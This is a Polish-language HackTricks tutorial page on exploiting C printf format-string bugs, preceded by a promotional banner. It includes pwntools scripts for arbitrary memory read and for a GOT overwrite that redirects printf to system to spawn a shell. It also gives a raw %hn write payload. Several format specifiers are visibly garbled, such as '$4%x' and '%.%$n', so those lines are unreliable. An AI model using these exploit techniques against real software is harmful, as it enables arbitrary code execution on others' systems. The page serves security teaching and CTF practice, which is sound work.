# Ciągi formatujące
Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)! * Pracujesz w **firmie z branży cyberbezpieczeństwa**? Chcesz zobaczyć, jak Twoja **firma jest reklamowana na HackTricks**? lub chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)! * Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family) * Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com) * **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**repozytorium hacktricks**](https://github.com/carlospolop/hacktricks) **i** [**repozytorium hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
## Podstawowe informacje W języku C **`printf`** to funkcja, która może być używana do **wyświetlania** ciągu znaków. **Pierwszym parametrem**, którego oczekuje ta funkcja, jest **surowy tekst z formatowaniem**. **Następne parametry** oczekiwane są jako **wartości** do **podstawienia** w miejsce **formatowania** z surowego tekstu. Podatność pojawia się, gdy **tekst atakującego jest używany jako pierwszy argument** tej funkcji. Atakujący będzie w stanie stworzyć **specjalne dane wykorzystując** możliwości **ciągu formatującego printf**, aby odczytać i **zapisać dowolne dane pod dowolnym adresem (do odczytu/zapisu)**. Pozwala to na **wykonywanie dowolnego kodu**. #### Formatery: ```bash %08x —> 8 hex bytes %d —> Entire %u —> Unsigned %s —> String %n —> Number of written bytes %hn —> Occupies 2 bytes instead of 4 $X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3 ``` **Przykłady:** * Narażony przykład: ```c char buffer[30]; gets(buffer); // Dangerous: takes user input without restrictions. printf(buffer); // If buffer contains "%x", it reads from the stack. ``` * Normalne użycie: ```c int value = 1205; printf("%x %x %x", value, value, value); // Outputs: 4b5 4b5 4b5 ``` * Z Brakującymi Argumentami: ```c printf("%x %x %x", value); // Unexpected output: reads random values from the stack. ``` ### **Dostęp do wskaźników** Format **`%$x`**, gdzie `n` to liczba, pozwala wskazać printfowi, aby wybrał n-ty parametr (ze stosu). Jeśli chcesz odczytać 4. parametr ze stosu za pomocą printf, możesz to zrobić: ```c printf("%x %x %x %x") ``` i odczytałbyś od pierwszego do czwartego parametru. Lub możesz zrobić: ```c printf("$4%x") ``` i przeczytaj bezpośrednio czwarty. Zauważ, że atakujący kontroluje parametr `pr`**`intf`**, co oznacza, że jego dane wejściowe znajdą się na stosie podczas wywołania `printf`, co oznacza, że może zapisywać konkretne adresy pamięci na stosie. {% hint style="danger" %} Atakujący kontrolujący to wejście, będzie mógł **dodać dowolny adres na stosie i sprawić, że `printf` będzie mógł się do nich odwołać**. W następnej sekcji zostanie wyjaśnione, jak wykorzystać to zachowanie. {% endhint %} ## **Odczyt dowolny** Możliwe jest użycie formatownika **`$n%s`** aby sprawić, że **`printf`** pobierze **adres** znajdujący się na **pozycji n**, po czym **wydrukuje go jakby to był łańcuch znaków** (drukuje do momentu znalezienia 0x00). Dlatego jeśli bazowy adres binarny to **`0x8048000`**, a wiemy, że dane wejściowe użytkownika zaczynają się na 4. pozycji na stosie, możliwe jest wydrukowanie początku binarnego za pomocą: ```python from pwn import * p = process('./bin') payload = b'%6$p' #4th param payload += b'xxxx' #5th param (needed to fill 8bytes with the initial input) payload += p32(0x8048000) #6th param p.sendline(payload) log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||' ``` {% hint style="danger" %} Należy pamiętać, że nie można umieścić adresu 0x8048000 na początku wejścia, ponieważ ciąg zostanie zakończony zerem na końcu tego adresu. {% endhint %} ## **Arbitrary Write** Formatter **`$%n`** **zapisuje** liczbę zapisanych bajtów pod wskazanym adresem w parametrze \ na stosie. Jeśli atakujący może zapisać tyle znaków, ile chce za pomocą printf, będzie mógł spowodować, że **`$%n`** zapisze dowolną liczbę pod dowolnym adresem. Na szczęście, aby zapisać liczbę 9999, nie trzeba dodawać 9999 "A" do wejścia, można użyć formatera **`%.%$n`** do zapisania liczby **``** w **adresie wskazywanym przez pozycję `num`**. ```bash AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param AAAA.%500\$08x —> Param at offset 500 ``` Jednakże zauważ, że zazwyczaj aby zapisać adres tak jak `0x08049724` (co jest OGROMną liczbą do zapisania naraz), **używa się `$hn`** zamiast `$n`. Pozwala to **zapisać tylko 2 bajty**. Dlatego ta operacja jest wykonywana dwukrotnie, raz dla dwóch najwyższych bajtów adresu i drugi raz dla pozostałych. Ta podatność pozwala na **zapisanie czegokolwiek pod dowolny adres (arbitrary write).** W tym przykładzie celem będzie **nadpisanie** **adresu** **funkcji** w **tabeli GOT**, która zostanie wywołana później. Chociaż można to wykorzystać do innych technik zapisu arbitralnego do wykonania: {% content-ref url="../arbitrary-write-2-exec/" %} [arbitrary-write-2-exec](../arbitrary-write-2-exec/) {% endcontent-ref %} Nadpiszemy **funkcję**, która **otrzymuje** swoje **argumenty** od **użytkownika** i **wskażemy** ją na funkcję **`system`**.\ Jak wspomniano, aby zapisać adres, zazwyczaj potrzebne są 2 kroki: Najpierw **zapisujesz 2 bajty** adresu, a następnie pozostałe 2. Do tego używa się **`$hn`**. * **HOB** odnosi się do 2 najwyższych bajtów adresu * **LOB** odnosi się do 2 najniższych bajtów adresu Następnie, ze względu na sposób działania formatu łańcuchów, musisz **najpierw zapisać mniejszy** z \[HOB, LOB\] a następnie drugi. Jeśli HOB < LOB\ `[adres+2][adres]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]` Jeśli HOB > LOB\ `[adres+2][adres]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]` HOB LOB HOB\_shellcode-8 NºParam\_dir\_HOB LOB\_shell-HOB\_shell NºParam\_dir\_LOB {% code overflow="wrap" %} ```bash python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"' ``` {% endcode %} ### Szablon Pwntools Możesz znaleźć szablon do przygotowania exploitu dla tego rodzaju podatności w: {% content-ref url="format-strings-template.md" %} [format-strings-template.md](format-strings-template.md) {% endcontent-ref %} Albo ten podstawowy przykład z [**tutaj**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite): ```python from pwn import * elf = context.binary = ELF('./got_overwrite-32') libc = elf.libc libc.address = 0xf7dc2000 # ASLR disabled p = process() payload = fmtstr_payload(5, {elf.got['printf'] : libc.sym['system']}) p.sendline(payload) p.clean() p.sendline('/bin/sh') p.interactive() ``` ## Formatowanie łańcuchów do przepełnienia bufora Możliwe jest nadużycie działań zapisu podatności na łańcuchy formatujące do **zapisywania adresów ze stosu** i wykorzystanie podatności typu **przepełnienie bufora**. ## Inne przykłady i odnośniki * [https://ir0nstone.gitbook.io/notes/types/stack/format-string](https://ir0nstone.gitbook.io/notes/types/stack/format-string) * [https://www.youtube.com/watch?v=t1LH9D5cuK4](https://www.youtube.com/watch?v=t1LH9D5cuK4) * [https://guyinatuxedo.github.io/10-fmt\_strings/pico18\_echo/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/pico18\_echo/index.html) * 32 bity, brak relro, brak canary, nx, brak pie, podstawowe użycie łańcuchów formatujących do wycieku flagi ze stosu (nie ma potrzeby zmiany przepływu wykonania) * [https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html) * 32 bity, relro, brak canary, nx, brak pie, łańcuch formatujący do nadpisania adresu `fflush` funkcją win (ret2win) * [https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html) * 32 bity, relro, brak canary, nx, brak pie, łańcuch formatujący do zapisania adresu wewnątrz funkcji main w `.fini_array` (aby przepływ znowu się zapętlił) i zapisania adresu `system` w tabeli GOT wskazującej na `strlen`. Gdy przepływ wraca do funkcji main, `strlen` jest wykonywane z wejściem użytkownika i wskazując na `system`, co spowoduje wykonanie przekazanych poleceń.